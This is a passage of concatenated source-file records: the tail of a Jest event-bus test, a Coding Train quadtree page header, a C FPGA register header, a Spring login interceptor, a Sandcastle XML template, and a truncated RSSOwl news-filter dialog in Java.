eventTriggerMock)\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(0)\n\n await app.$eventBus.emit('test:event:1')\n await app.$eventBus.emit('test:event:2')\n await app.$eventBus.emit('test:event:3')\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(3)\n })\n })\n\n describe('off', () => {\n it('should disable event', async () => {\n const eventTriggerMock = jest.fn()\n walletApi.eventBus.on('test:event', eventTriggerMock)\n\n await app.$eventBus.emit('test:event')\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(1)\n\n walletApi.eventBus.off('test:event', eventTriggerMock)\n eventTriggerMock.mockReset()\n\n await app.$eventBus.emit('test:event')\n await app.$eventBus.emit('test:event')\n await app.$eventBus.emit('test:event')\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(0)\n })\n\n it('should disable regex', async () => {\n const eventTriggerMock = jest.fn()\n walletApi.eventBus.on(/test:event:\\d/, eventTriggerMock)\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(0)\n\n await app.$eventBus.emit('test:event:1')\n await app.$eventBus.emit('test:event:2')\n await app.$eventBus.emit('test:event:3')\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(3)\n\n walletApi.eventBus.off(/test:event:\\d/, eventTriggerMock)\n eventTriggerMock.mockReset()\n\n await app.$eventBus.emit('test:event:1')\n await app.$eventBus.emit('test:event:2')\n await app.$eventBus.emit('test:event:3')\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(0)\n })\n })\n\n describe('destroy', () => {\n it('should clear all events', async () => {\n const eventTriggerMock = jest.fn()\n walletApi.eventBus.on('test:event:1', eventTriggerMock)\n walletApi.eventBus.on('test:event:2', eventTriggerMock)\n walletApi.eventBus.on('test:event:3', eventTriggerMock)\n\n await app.$eventBus.emit('test:event:1')\n await app.$eventBus.emit('test:event:2')\n await app.$eventBus.emit('test:event:3')\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(3)\n\n walletApi.eventBus.destroy()\n eventTriggerMock.mockReset()\n\n await app.$eventBus.emit('test:event:1')\n await app.$eventBus.emit('test:event:2')\n await app.$eventBus.emit('test:event:3')\n\n expect(eventTriggerMock).toHaveBeenCalledTimes(0)\n })\n })\n})\n"} {"text": "---\ntitle: \"Quadtree - Part 2\"\nredirect_from: CodingChallenges/98.2-quadtree.html\nvideo_number: 98.2\ndate: 2018-03-28\nvideo_id: QQx_NmCIuCY\nrepository: CC_098.1_QuadTree\nweb_editor: g7LnWQ42x\n\nlinks:\n - title: \"Quadtree repo\"\n url: \"https://github.com/CodingTrain/QuadTree\"\n - title: \"Quadtree on Wikipedia\"\n url: \"https://en.wikipedia.org/wiki/Quadtree\"\n\nvideos:\n - title: \"Quadtrees Live Stream Archive\"\n video_id: \"MxnqJGwu2cc\"\n - title: \"Frogger Coding Challenge\"\n url: \"/CodingChallenges/072.1-frogger\"\n\nparts:\n - title: \"Quadtree - Part 1\"\n url: \"/CodingChallenges/098.1-quadtree\"\n - title: \"Quadtree - Part 3\"\n url: \"/CodingChallenges/098.3-quadtree\"\n---\n\nIn part 2 of the Quadtree coding challenge, I query the data structure for points contained within a rectangular boundary.\n"} {"text": "#ifndef EXCITE_FPGA_H_INCLUDED\n#define EXCITE_FPGA_H_INCLUDED\n\n\n/**\n * Adress alignment of the individual FPGA bytes.\n * The address arrangement of the individual bytes of the FPGA is two\n * byte aligned at the embedded MK2 platform.\n */\n#ifdef EXCITE_CCI_FPGA_MK2\ntypedef unsigned char excite_cci_fpga_align_t __attribute__ ((aligned(2)));\n#else\ntypedef unsigned char excite_cci_fpga_align_t;\n#endif\n\n\n/**\n * Size of Dual Ported RAM.\n */\n#define EXCITE_DPR_SIZE 263\n\n\n/**\n * Size of Reserved Status Fields in Dual Ported RAM.\n */\n#define EXCITE_DPR_STATUS_SIZE 7\n\n\n\n/**\n * FPGA.\n * Hardware register layout of the FPGA interface. The FPGA must accessed\n * byte wise solely.\n * @see EXCITE_CCI_DPR_MK2\n */\ntypedef struct excite_fpga {\n\n\t/**\n\t * Dual Ported RAM.\n\t */\n\texcite_cci_fpga_align_t dpr[EXCITE_DPR_SIZE];\n\n\t/**\n\t * Status.\n\t */\n\texcite_cci_fpga_align_t status[EXCITE_DPR_STATUS_SIZE];\n\n#ifdef EXCITE_CCI_FPGA_MK2\n\t/**\n\t * RM9000 Interrupt.\n\t * Write access initiates interrupt at the RM9000 (MIPS) processor of the eXcite.\n\t */\n\texcite_cci_fpga_align_t rm9k_int;\n#else\n\t/**\n\t * MK2 Interrupt.\n\t * Write access initiates interrupt at the ARM processor of the MK2.\n\t */\n\texcite_cci_fpga_align_t mk2_int;\n\n\texcite_cci_fpga_align_t gap[0x1000-0x10f];\n\n\t/**\n\t * IRQ Source/Acknowledge.\n\t */\n\texcite_cci_fpga_align_t rm9k_irq_src;\n\n\t/**\n\t * IRQ Mask.\n\t * Set bits enable the related interrupt.\n\t */\n\texcite_cci_fpga_align_t rm9k_irq_mask;\n#endif\n\n\n} excite_fpga;\n\n\n\n#endif\t/* ndef EXCITE_FPGA_H_INCLUDED */\n"} {"text": "package com.wdjr.springboot.component;\n\nimport org.springframework.web.servlet.HandlerInterceptor;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class LoginHandlerInterceptor implements HandlerInterceptor {\n\n //目标方法执行之前\n @Override\n public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n Object user = request.getSession().getAttribute(\"loginUser\");\n if(user!=null){\n //已经登录\n return true;\n }\n //未经过验证\n request.setAttribute(\"msg\", \"没权限请先登录\");\n request.getRequestDispatcher(\"/index.html\").forward(request, response);\n\n return false;\n }\n\n @Override\n public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {\n\n }\n\n @Override\n public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {\n\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<topic id=\"$guid1$\" revisionNumber=\"1\">\r\n <developerHowToDocument\r\n xmlns=\"http://ddue.schemas.microsoft.com/authoring/2003/5\"\r\n xmlns:xlink=\"http://www.w3.org/1999/xlink\">\r\n\r\n <!--\r\n <summary>\r\n <para>Optional summary abstract</para>\r\n </summary>\r\n -->\r\n\r\n <introduction>\r\n <para>Required introduction</para>\r\n </introduction>\r\n\r\n <!-- Optional procedures followed by optional code example but must have\r\n at least one procedure or code example -->\r\n <procedure>\r\n <title>Procedure title</title>\r\n <steps class=\"ordered\">\r\n <step>\r\n <content>\r\n <para>First step</para>\r\n </content>\r\n </step>\r\n <step>\r\n <content>\r\n <para>Second step</para>\r\n </content>\r\n </step>\r\n </steps>\r\n <!-- <conclusion>Optional conclusion</conclusion> -->\r\n </procedure>\r\n\r\n <!-- <codeExample>Optional code example</codeExample> -->\r\n\r\n <!-- <buildInstructions>Optional instructions for building a\r\n code example.</buildInstructions> -->\r\n\r\n <!-- <robustProgramming>Optional discussion of error handling and other\r\n issues related to writing solid code.</robustProgramming> -->\r\n\r\n <!-- <security>Optional discussion of security issues.</security> -->\r\n\r\n <relatedTopics>\r\n <!-- One or more of the following:\r\n - A local link\r\n - An external link\r\n - A code entity reference\r\n\r\n <link xlink:href=\"Other Topic's ID\">Link text</link>\r\n <externalLink>\r\n <linkText>Link text</linkText>\r\n <linkAlternateText>Optional alternate link text</linkAlternateText>\r\n <linkUri>URI</linkUri>\r\n </externalLink>\r\n <codeEntityReference>API member ID</codeEntityReference>\r\n\r\n Examples:\r\n\r\n <link xlink:href=\"00e97994-e9e6-46e0-b420-5be86b2f8278\">Some other topic</link>\r\n\r\n <externalLink>\r\n <linkText>SHFB on GitHub</linkText>\r\n <linkAlternateText>Go to GitHub</linkAlternateText>\r\n <linkUri>https://GitHub.com/EWSoftware/SHFB</linkUri>\r\n </externalLink>\r\n\r\n <codeEntityReference>T:TestDoc.TestClass</codeEntityReference>\r\n <codeEntityReference>P:TestDoc.TestClass.SomeProperty</codeEntityReference>\r\n <codeEntityReference>M:TestDoc.TestClass.#ctor</codeEntityReference>\r\n <codeEntityReference>M:TestDoc.TestClass.#ctor(System.String,System.Int32)</codeEntityReference>\r\n <codeEntityReference>M:TestDoc.TestClass.ToString</codeEntityReference>\r\n <codeEntityReference>M:TestDoc.TestClass.FirstMethod</codeEntityReference>\r\n <codeEntityReference>M:TestDoc.TestClass.SecondMethod(System.Int32,System.String)</codeEntityReference>\r\n -->\r\n </relatedTopics>\r\n </developerHowToDocument>\r\n</topic>\r\n"} {"text": "/* ********************************************************************** **\r\n ** Copyright notice **\r\n ** **\r\n ** (c) 2005-2009 RSSOwl Development Team **\r\n ** http://www.rssowl.org/ **\r\n ** **\r\n ** All rights reserved **\r\n ** **\r\n ** This program and the accompanying materials are made available under **\r\n ** the terms of the Eclipse Public License v1.0 which accompanies this **\r\n ** distribution, and is available at: **\r\n ** http://www.rssowl.org/legal/epl-v10.html **\r\n ** **\r\n ** A copy is found in the file epl-v10.html and important notices to the **\r\n ** license from the team is found in the textfile LICENSE.txt distributed **\r\n ** in this package. **\r\n ** **\r\n ** This copyright notice MUST APPEAR in all copies of the file! **\r\n ** **\r\n ** Contributors: **\r\n ** RSSOwl Development Team - initial API and implementation **\r\n ** **\r\n ** ********************************************************************** */\r\n\r\npackage org.rssowl.ui.internal.dialogs;\r\n\r\nimport org.eclipse.core.runtime.IProgressMonitor;\r\nimport org.eclipse.core.runtime.ISafeRunnable;\r\nimport org.eclipse.jface.dialogs.IDialogConstants;\r\nimport org.eclipse.jface.dialogs.IDialogSettings;\r\nimport org.eclipse.jface.dialogs.IMessageProvider;\r\nimport org.eclipse.jface.dialogs.MessageDialog;\r\nimport org.eclipse.jface.dialogs.ProgressMonitorDialog;\r\nimport org.eclipse.jface.dialogs.TitleAreaDialog;\r\nimport org.eclipse.jface.operation.IRunnableWithProgress;\r\nimport org.eclipse.jface.resource.JFaceResources;\r\nimport org.eclipse.jface.resource.LocalResourceManager;\r\nimport org.eclipse.jface.util.SafeRunnable;\r\nimport org.eclipse.jface.viewers.CellLabelProvider;\r\nimport org.eclipse.jface.viewers.CheckStateChangedEvent;\r\nimport org.eclipse.jface.viewers.CheckboxTableViewer;\r\nimport org.eclipse.jface.viewers.DoubleClickEvent;\r\nimport org.eclipse.jface.viewers.ICheckStateListener;\r\nimport org.eclipse.jface.viewers.IDoubleClickListener;\r\nimport org.eclipse.jface.viewers.ISelectionChangedListener;\r\nimport org.eclipse.jface.viewers.IStructuredContentProvider;\r\nimport org.eclipse.jface.viewers.IStructuredSelection;\r\nimport org.eclipse.jface.viewers.SelectionChangedEvent;\r\nimport org.eclipse.jface.viewers.StructuredSelection;\r\nimport org.eclipse.jface.viewers.Viewer;\r\nimport org.eclipse.jface.viewers.ViewerCell;\r\nimport org.eclipse.jface.viewers.ViewerComparator;\r\nimport org.eclipse.osgi.util.NLS;\r\nimport org.eclipse.swt.SWT;\r\nimport org.eclipse.swt.events.SelectionAdapter;\r\nimport org.eclipse.swt.events.SelectionEvent;\r\nimport org.eclipse.swt.graphics.Image;\r\nimport org.eclipse.swt.layout.GridData;\r\nimport org.eclipse.swt.widgets.Button;\r\nimport org.eclipse.swt.widgets.Composite;\r\nimport org.eclipse.swt.widgets.Control;\r\nimport org.eclipse.swt.widgets.Display;\r\nimport org.eclipse.swt.widgets.Label;\r\nimport org.eclipse.swt.widgets.Shell;\r\nimport org.eclipse.swt.widgets.Table;\r\nimport org.eclipse.swt.widgets.TableColumn;\r\nimport org.eclipse.swt.widgets.TableItem;\r\nimport org.rssowl.core.INewsAction;\r\nimport org.rssowl.core.Owl;\r\nimport org.rssowl.core.persist.IEntity;\r\nimport org.rssowl.core.persist.IFilterAction;\r\nimport org.rssowl.core.persist.INews;\r\nimport org.rssowl.core.persist.INews.State;\r\nimport org.rssowl.core.persist.ISearchCondition;\r\nimport org.rssowl.core.persist.ISearchField;\r\nimport org.rssowl.core.persist.ISearchFilter;\r\nimport org.rssowl.core.persist.SearchSpecifier;\r\nimport org.rssowl.core.persist.dao.DynamicDAO;\r\nimport org.rssowl.core.persist.dao.ISearchFilterDAO;\r\nimport org.rssowl.core.persist.reference.NewsReference;\r\nimport org.rssowl.core.persist.service.IModelSearch;\r\nimport org.rssowl.core.util.CoreUtils;\r\nimport org.rssowl.core.util.SearchHit;\r\nimport org.rssowl.core.util.StringUtils;\r\nimport org.rssowl.ui.internal.Activator;\r\nimport org.rssowl.ui.internal.ApplicationWorkbenchWindowAdvisor;\r\nimport org.rssowl.ui.internal.OwlUI;\r\nimport org.rssowl.ui.internal.filter.NewsActionDescriptor;\r\nimport org.rssowl.ui.internal.filter.NewsActionPresentationManager;\r\nimport org.rssowl.ui.internal.util.CColumnLayoutData;\r\nimport org.rssowl.ui.internal.util.CColumnLayoutData.Size;\r\nimport org.rssowl.ui.internal.util.CTable;\r\nimport org.rssowl.ui.internal.util.LayoutUtils;\r\n\r\nimport java.lang.reflect.InvocationTargetException;\r\nimport java.util.ArrayList;\r\nimport java.util.Arrays;\r\nimport java.util.Collection;\r\nimport java.util.Collections;\r\nimport java.util.EnumSet;\r\nimport java.util.HashMap;\r\nimport java.util.HashSet;\r\nimport java.util.Iterator;\r\nimport java.util.List;\r\nimport java.util.Map;\r\nimport java.util.Set;\r\n\r\n/**\r\n * A dialog to manage news filters in RSSOwl. The dialog allows to add, edit and\r\n * delete filters as well as moving them up or down to define an order of\r\n * filters to apply.\r\n *\r\n * @author bpasero\r\n */\r\npublic class NewsFiltersListDialog extends TitleAreaDialog {\r\n\r\n /* Number of News to process in a forced Filter run at once */\r\n private static final int FILTER_CHUNK_SIZE = 50;\r\n\r\n /* Keep the visible instance saved */\r\n private static NewsFiltersListDialog fgVisibleInstance;\r\n\r\n /* Section for Dialogs Settings */\r\n private static final String SETTINGS_SECTION = \"org.rssowl.ui.internal.dialogs.NewsFiltersListDialog\"; //$NON-NLS-1$\r\n\r\n private NewsActionPresentationManager fNewsActionPresentationManager = NewsActionPresentationManager.getInstance();\r\n private LocalResourceManager fResources;\r\n private CheckboxTableViewer fViewer;\r\n private Button fEditButton;\r\n private Button fDeleteButton;\r\n private Button fMoveDownButton;\r\n private Button fMoveUpButton;\r\n private Image fFilterIcon;\r\n private ISearchFilterDAO fSearchFilterDao;\r\n private Button fApplySelectedFilter;\r\n private ISearchFilter fSelectedFilter;\r\n\r\n /**\r\n * @param parentShell\r\n */\r\n public NewsFiltersListDialog(Shell parentShell) {\r\n super(parentShell);\r\n fResources = new LocalResourceManager(JFaceResources.getResources());\r\n fFilterIcon = OwlUI.getImage(fResources, OwlUI.FILTER);\r\n fSearchFilterDao = DynamicDAO.getDAO(ISearchFilterDAO.class);\r\n }\r\n\r\n /**\r\n * @return Returns an instance of <code>NewsFiltersListDialog</code> or\r\n * <code>NULL</code> in case no instance is currently open.\r\n */\r\n public static NewsFiltersListDialog getVisibleInstance() {\r\n return fgVisibleInstance;\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.window.Window#open()\r\n */\r\n @Override\r\n public int open() {\r\n fgVisibleInstance = this;\r\n return super.open();\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.dialogs.TrayDialog#close()\r\n */\r\n @Override\r\n public boolean close() {\r\n boolean res = super.close();\r\n fgVisibleInstance = null;\r\n fResources.dispose();\r\n return res;\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.dialogs.TitleAreaDialog#createDialogArea(org.eclipse.swt.widgets.Composite)\r\n */\r\n @Override\r\n protected Control createDialogArea(Composite parent) {\r\n\r\n /* Separator */\r\n new Label(parent, SWT.SEPARATOR | SWT.HORIZONTAL).setLayoutData(new GridData(SWT.FILL, SWT.BEGINNING, true, false));\r\n\r\n /* Title */\r\n setTitle(Messages.NewsFiltersListDialog_NEWS_FILTERS);\r\n\r\n /* Title Image */\r\n setTitleImage(OwlUI.getImage(fResources, \"icons/wizban/filter_wiz.png\")); //$NON-NLS-1$\r\n\r\n /* Composite to hold all components */\r\n Composite composite = new Composite(parent, SWT.NONE);\r\n composite.setLayout(LayoutUtils.createGridLayout(2, 5, 10));\r\n composite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true));\r\n\r\n Composite tableContainer = new Composite(composite, SWT.NONE);\r\n tableContainer.setLayout(LayoutUtils.createGridLayout(1, 0, 0));\r\n tableContainer.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true));\r\n\r\n CTable cTable = new CTable(tableContainer, SWT.CHECK | SWT.BORDER | SWT.MULTI | SWT.FULL_SELECTION);\r\n\r\n fViewer = new CheckboxTableViewer(cTable.getControl());\r\n fViewer.getTable().setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true));\r\n fViewer.getTable().setHeaderVisible(true);\r\n ((GridData) fViewer.getTable().getLayoutData()).heightHint = fViewer.getTable().getItemHeight() * 15;\r\n fViewer.getTable().setData(ApplicationWorkbenchWindowAdvisor.FOCUSLESS_SCROLL_HOOK, new Object());\r\n\r\n TableColumn nameCol = new TableColumn(fViewer.getTable(), SWT.NONE);\r\n\r\n CColumnLayoutData data = new CColumnLayoutData(Size.FILL, 100);\r\n cTable.manageColumn(nameCol, data, Messages.NewsFiltersListDialog_NAME, null, null, false, false);\r\n\r\n /* ContentProvider returns all filters */\r\n fViewer.setContentProvider(new IStructuredContentProvider() {\r\n public Object[] getElements(Object inputElement) {\r\n return fSearchFilterDao.loadAll().toArray();\r\n }\r\n\r\n public void dispose() {}\r\n\r\n public void inputChanged(Viewer viewer, Object oldInput, Object newInput) {}\r\n });\r\n\r\n /* Label Provider */\r\n fViewer.setLabelProvider(new CellLabelProvider() {\r\n @Override\r\n public void update(ViewerCell cell) {\r\n ISearchFilter filter = (ISearchFilter) cell.getElement();\r\n Display display = fViewer.getControl().getDisplay();\r\n if (filter.isEnabled())\r\n cell.setText(filter.getName());\r\n else\r\n cell.setText(NLS.bind(Messages.NewsFiltersListDialog_FILTER_DISABLED, filter.getName()));\r\n cell.setImage(fFilterIcon);\r\n if (!OwlUI.isHighContrast())\r\n cell.setForeground(filter.isEnabled() ? display.getSystemColor(SWT.COLOR_BLACK) : display.getSystemColor(SWT.COLOR_DARK_GRAY));\r\n }\r\n });\r\n\r\n /* Sort */\r\n fViewer.setComparator(new ViewerComparator() {\r\n @Override\r\n public int compare(Viewer viewer, Object e1, Object e2) {\r\n ISearchFilter filter1 = (ISearchFilter) e1;\r\n ISearchFilter filter2 = (ISearchFilter) e2;\r\n\r\n return filter1.getOrder() < filter2.getOrder() ? -1 : 1;\r\n }\r\n });\r\n\r\n /* Selection */\r\n fViewer.addSelectionChangedListener(new ISelectionChangedListener() {\r\n public void selectionChanged(SelectionChangedEvent event) {\r\n IStructuredSelection selection = (IStructuredSelection) event.getSelection();\r\n fEditButton.setEnabled(!selection.isEmpty());\r\n fDeleteButton.setEnabled(!selection.isEmpty());\r\n fApplySelectedFilter.setEnabled(!selection.isEmpty() && selection.size() == 1);\r\n\r\n updateMoveEnablement();\r\n }\r\n });\r\n\r\n /* Doubleclick */\r\n fViewer.addDoubleClickListener(new IDoubleClickListener() {\r\n public void doubleClick(DoubleClickEvent event) {\r\n onEdit();\r\n }\r\n });\r\n\r\n /* Set input (ignored by ContentProvider anyways) */\r\n fViewer.setInput(this);\r\n updateCheckedState();\r\n\r\n /* Listen on Check State Changes */\r\n fViewer.addCheckStateListener(new ICheckStateListener() {\r\n public void checkStateChanged(CheckStateChangedEvent event) {\r\n ISearchFilter filter = (ISearchFilter) event.getElement();\r\n filter.setEnabled(event.getChecked());\r\n fSearchFilterDao.save(filter);\r\n fViewer.update(filter, null);\r\n updateTitle();\r\n }\r\n });\r\n\r\n /* Container for the Buttons to Manage Filters */\r\n Composite buttonContainer = new Composite(composite, SWT.None);\r\n buttonContainer.setLayout(LayoutUtils.createGridLayout(1, 0, 0));\r\n buttonContainer.setLayoutData(new GridData(SWT.BEGINNING, SWT.FILL, false, false));\r\n\r\n /* Adds a new Filter */\r\n Button addButton = new Button(buttonContainer, SWT.PUSH);\r\n addButton.setText(Messages.NewsFiltersListDialog_NEW);\r\n addButton.setFocus();\r\n applyDialogFont(addButton);\r\n setButtonLayoutData(addButton);\r\n addButton.addSelectionListener(new SelectionAdapter() {\r\n @Override\r\n public void widgetSelected(SelectionEvent e) {\r\n onAdd();\r\n }\r\n });\r\n\r\n /* Edits a selected Filter */\r\n fEditButton = new Button(buttonContainer, SWT.PUSH);\r\n fEditButton.setText(Messages.NewsFiltersListDialog_EDIT);\r\n applyDialogFont(fEditButton);\r\n setButtonLayoutData(fEditButton);\r\n fEditButton.setEnabled(false);\r\n fEditButton.addSelectionListener(new SelectionAdapter() {\r\n @Override\r\n public void widgetSelected(SelectionEvent e) {\r\n onEdit();\r\n }\r\n });\r\n\r\n /* Deletes the selected Filter */\r\n fDeleteButton = new Button(buttonContainer, SWT.PUSH);\r\n fDeleteButton.setText(Messages.NewsFiltersListDialog_DELETE);\r\n applyDialogFont(fDeleteButton);\r\n setButtonLayoutData(fDeleteButton);\r\n fDeleteButton.setEnabled(false);\r\n fDeleteButton.addSelectionListener(new SelectionAdapter() {\r\n @Override\r\n public void widgetSelected(SelectionEvent e) {\r\n onDelete();\r\n }\r\n });\r\n\r\n /* Move Filter Up */\r\n fMoveUpButton = new Button(buttonContainer, SWT.PUSH);\r\n fMoveUpButton.setText(Messages.NewsFiltersListDialog_MOVE_UP);\r\n fMoveUpButton.setEnabled(false);\r\n applyDialogFont(fMoveUpButton);\r\n setButtonLayoutData(fMoveUpButton);\r\n ((GridData) fMoveUpButton.getLayoutData()).verticalIndent = 10;\r\n fMoveUpButton.addSelectionListener(new SelectionAdapter() {\r\n @Override\r\n public void widgetSelected(SelectionEvent e) {\r\n onMove(true);\r\n }\r\n });\r\n\r\n /* Move Filter Down */\r\n fMoveDownButton = new Button(buttonContainer, SWT.PUSH);\r\n fMoveDownButton.setText(Messages.NewsFiltersListDialog_MOVE_DOWN);\r\n fMoveDownButton.setEnabled(false);\r\n applyDialogFont(fMoveDownButton);\r\n setButtonLayoutData(fMoveDownButton);\r\n fMoveDownButton.addSelectionListener(new SelectionAdapter() {\r\n @Override\r\n public void widgetSelected(SelectionEvent e) {\r\n onMove(false);\r\n }\r\n });\r\n\r\n Composite buttonBar = new Composite(composite, SWT.NONE);\r\n buttonBar.setLayout(LayoutUtils.createGridLayout(2, 0, 0));\r\n buttonBar.setLayoutData(new GridData(SWT.FILL, SWT.BEGINNING, true, false, 2, 1));\r\n\r\n /* Button to apply filter on all News */\r\n fApplySelectedFilter = new Button(buttonBar, SWT.PUSH);\r\n fApplySelectedFilter.setText(Messages.NewsFiltersListDialog_RUN_SELECTED_FILTER);\r\n fApplySelectedFilter.setEnabled(false);\r\n applyDialogFont(fApplySelectedFilter);\r\n setButtonLayoutData(fApplySelectedFilter);\r\n ((GridData) fApplySelectedFilter.getLayoutData()).grabExcessHorizontalSpace = false;\r\n ((GridData) fApplySelectedFilter.getLayoutData()).horizontalAlignment = SWT.BEGINNING;\r\n fApplySelectedFilter.addSelectionListener(new SelectionAdapter() {\r\n @Override\r\n public void widgetSelected(SelectionEvent e) {\r\n onApplySelectedFilter();\r\n }\r\n });\r\n\r\n /* Close */\r\n Button closeButton = new Button(buttonBar, SWT.PUSH);\r\n closeButton.setText(Messages.NewsFiltersListDialog_CLOSE);\r\n applyDialogFont(closeButton);\r\n setButtonLayoutData(closeButton);\r\n ((GridData) closeButton.getLayoutData()).grabExcessHorizontalSpace = true;\r\n ((GridData) closeButton.getLayoutData()).horizontalAlignment = SWT.END;\r\n closeButton.addSelectionListener(new SelectionAdapter() {\r\n @Override\r\n public void widgetSelected(SelectionEvent e) {\r\n close();\r\n }\r\n });\r\n\r\n /* Update Title Message */\r\n updateTitle();\r\n\r\n /* Set Selection if provided */\r\n if (fSelectedFilter != null)\r\n fViewer.setSelection(new StructuredSelection(fSelectedFilter), true);\r\n\r\n applyDialogFont(composite);\r\n\r\n return composite;\r\n }\r\n\r\n private void onApplySelectedFilter() {\r\n IStructuredSelection selection = (IStructuredSelection) fViewer.getSelection();\r\n if (!selection.isEmpty()) {\r\n ISearchFilter filter = (ISearchFilter) selection.getFirstElement();\r\n\r\n /* Retrieve those actions that are forcable to run */\r\n List<IFilterAction> actions = filter.getActions();\r\n List<IFilterAction> forcableActions = new ArrayList<IFilterAction>(actions.size());\r\n for (IFilterAction action : actions) {\r\n NewsActionDescriptor newsActionDescriptor = fNewsActionPresentationManager.getNewsActionDescriptor(action.getActionId());\r\n if (newsActionDescriptor != null && newsActionDescriptor.isForcable())\r\n forcableActions.add(action);\r\n }\r\n\r\n /* Return early if selected Action is not forcable */\r\n if (forcableActions.isEmpty()) {\r\n MessageDialog.openWarning(getShell(), NLS.bind(Messages.NewsFiltersListDialog_RUN_SELECTED_FILTER_N, filter.getName()), NLS.bind(Messages.NewsFiltersListDialog_NO_ACTIONS_TO_RUN, filter.getName()));\r\n return;\r\n }\r\n\r\n IModelSearch search = Owl.getPersistenceService().getModelSearch();\r\n List<SearchHit<NewsReference>> targetNews = null;\r\n\r\n /* Search for all Visible News */\r\n Set<State> visibleStates = INews.State.getVisible();\r\n if (filter.getSearch() == null) {\r\n ISearchField stateField = Owl.getModelFactory().createSearchField(INews.STATE, INews.class.getName());\r\n ISearchCondition stateCondition = Owl.getModelFactory().createSearchCondition(stateField, SearchSpecifier.IS, EnumSet.of(State.NEW, State.UNREAD, State.UPDATED, State.READ));\r\n targetNews = search.searchNews(Collections.singleton(stateCondition), true);\r\n }\r\n\r\n /* Use Search from Filter */\r\n else {\r\n List<SearchHit<NewsReference>> result = search.searchNews(filter.getSearch());\r\n targetNews = new ArrayList<SearchHit<NewsReference>>(result.size());\r\n\r\n /* Filter out those that are not visible */\r\n for (SearchHit<NewsReference> resultItem : result) {\r\n INews.State state = (State) resultItem.getData(INews.STATE);\r\n if (visibleStates.contains(state))\r\n targetNews.add(resultItem);\r\n }\r\n }\r\n\r\n /* Return early if there is no matching News */\r\n if (targetNews.isEmpty()) {\r\n MessageDialog.openWarning(getShell(), NLS.bind(Messages.NewsFiltersListDialog_RUN_SELECTED_FILTER_N, filter.getName()), NLS.bind(Messages.NewsFiltersListDialog_NO_FILTER_MATCH, filter.getName()));\r\n return;\r\n }\r\n\r\n /* Ask for Confirmation */\r\n boolean multipleActions = forcableActions.size() > 1;\r\n String title = NLS.bind(Messages.NewsFiltersListDialog_RUN_SELECTED_FILTER_N, filter.getName());\r\n StringBuilder message = new StringBuilder();\r\n if (multipleActions)\r\n message.append(NLS.bind(Messages.NewsFiltersListDialog_PERFORM_ACTIONS, targetNews.size())).append(\"\\n\"); //$NON-NLS-1$\r\n else\r\n message.append(NLS.bind(Messages.NewsFiltersListDialog_PERFORM_ACTION, targetNews.size())).append(\"\\n\"); //$NON-NLS-1$\r\n\r\n for (IFilterAction action : forcableActions) {\r\n NewsActionDescriptor newsActionDescriptor = fNewsActionPresentationManager.getNewsActionDescriptor(action.getActionId());\r\n String label = newsActionDescriptor.getNewsAction() != null ? newsActionDescriptor.getNewsAction().getLabel(action.getData()) : null;\r\n if (StringUtils.isSet(label))\r\n message.append(\"\\n\").append(NLS.bind(Messages.NewsFiltersListDialog_FILTER_LIST_ELEMENT, label)); //$NON-NLS-1$\r\n else\r\n message.append(\"\\n\").append(NLS.bind(Messages.NewsFiltersListDialog_FILTER_LIST_ELEMENT, newsActionDescriptor.getName())); //$NON-NLS-1$\r\n }\r\n\r\n message.append(\"\\n\\n\").append(Messages.NewsFiltersListDialog_CONFIRM); //$NON-NLS-1$\r\n\r\n ConfirmDialog dialog = new ConfirmDialog(getShell(), title, Messages.NewsFiltersListDialog_NO_UNDO, message.toString(), IDialogConstants.OK_LABEL, null) {\r\n @Override\r\n protected String getTitleImage() {\r\n return \"icons/wizban/filter_wiz.png\"; //$NON-NLS-1$\r\n }\r\n\r\n @Override\r\n public void setTitle(String newTitle) {\r\n super.setTitle(Messages.NewsFiltersListDialog_RUN_SELECTED_FILTER_TITLE);\r\n }\r\n };\r\n\r\n /* Apply Actions in chunks of N Items to avoid Memory issues */\r\n if (dialog.open() == IDialogConstants.OK_ID) {\r\n applyFilter(targetNews, filter);\r\n }\r\n }\r\n }\r\n\r\n private void applyFilter(final List<SearchHit<NewsReference>> news, final ISearchFilter filter) {\r\n IRunnableWithProgress runnable = new IRunnableWithProgress() {\r\n public void run(IProgressMonitor monitor) {\r\n List<List<SearchHit<NewsReference>>> chunks = CoreUtils.toChunks(news, FILTER_CHUNK_SIZE);\r\n monitor.beginTask(NLS.bind(Messages.NewsFiltersListDialog_WAIT_FILTER_APPLIED, filter.getName()), chunks.size());\r\n\r\n if (monitor.isCanceled())\r\n return;\r\n\r\n int counter = 0;\r\n for (List<SearchHit<NewsReference>> chunk : chunks) {\r\n if (monitor.isCanceled())\r\n return;\r\n\r\n monitor.subTask(NLS.bind(Messages.NewsFiltersListDialog_FILTERED_N_OF_M_NEWS, (counter * FILTER_CHUNK_SIZE), news.size()));\r\n List<INews> newsItemsToFilter = new ArrayList<INews>(FILTER_CHUNK_SIZE);\r\n for (SearchHit<NewsReference> chunkItem : chunk) {\r\n INews newsItemToFilter = chunkItem.getResult().resolve();\r\n if (newsItemToFilter != null && newsItemToFilter.isVisible())\r\n newsItemsToFilter.add(newsItemToFilter);\r\n else\r\n CoreUtils.reportIndexIssue();\r\n }\r\n\r\n applyFilterOnChunks(newsItemsToFilter, filter);\r\n monitor.worked(1);\r\n counter++;\r\n }\r\n\r\n monitor.done();\r\n }\r\n };\r\n\r\n /* Show progress and allow for cancellation */\r\n 